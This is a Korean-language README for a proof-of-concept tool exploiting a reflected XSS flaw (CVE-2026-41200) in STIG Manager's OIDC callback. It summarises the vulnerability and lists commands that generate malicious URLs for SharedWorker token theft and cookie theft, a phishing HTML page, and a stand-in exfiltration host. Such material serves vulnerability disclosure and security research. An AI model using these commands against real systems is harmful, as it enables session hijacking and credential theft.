CVE-2026-41200 — STIG Manager OIDC 반사형 XSS PoC

STIG Manager 1.5.10~1.6.7 버전에 존재하는 반사형 XSS(Cross-Site Scripting) 취약점에 대한 개념 증명(PoC)입니다.

취약점 요약

STIG Manager 웹 앱의 OIDC 인증 오류 처리 코드에 반사형 XSS 취약점이 존재합니다. OIDC 공급자가 반환하는 error 및 error_description 쿼리 매개변수는 HTML 이스케이프 없이 innerHTML을 통해 DOM에 직접 작성됩니다. 악성 URL을 제작하여 사용자가 해당 URL을 클릭하도록 유도할 수 있는 공격자는 애플리케이션 컨텍스트에서 임의의 JavaScript를 실행할 수 있습니다.

이 취약점은 대상 사용자가 다른 브라우저 탭에서 활성 STIG Manager 세션을 보유한 경우 가장 심각합니다. 주입된 코드는 액세스 토큰을 관리하는 SharedWorker와 통신할 수 있어 피해자를 대신해 인증된 API 요청을 수행할 수 있습니다.

• CVE: CVE-2026-41200
• CVSS 4.0: 8.5 (HIGH)
• 영향받는 버전: NUWCDIVNPT/stig-manager >= 1.5.10, < 1.6.8
• 패치 버전: v1.6.8
• 보안 권고: GHSA-wg33-j3rv-jq72
• 관련 문서: hunt-benito.com

사용법

# Generate a malicious callback URL (SharedWorker token theft mode)
python3 cve-2026-41200-poc.py -c http://localhost:54000/auth/callback -m sharedworker

# Generate a simple cookie theft payload
python3 cve-2026-41200-poc.py -c http://localhost:54000/auth/callback -m simple

# Output as phishing HTML
python3 cve-2026-41200-poc.py --format html

# Custom API and exfil hosts
python3 cve-2026-41200-poc.py \
  -c https://stig-manager.example.com/auth/callback \
  -a https://stig-manager.example.com \
  -e https://attacker.example.com

면책 조항

이 도구는 교육 목적 및 승인된 보안 연구용으로만 제공됩니다.

• 본인이 소유하거나 테스트에 대한 명시적 승인을 받은 시스템에서만 사용하십시오.
• 대부분의 관할권에서 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
• 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.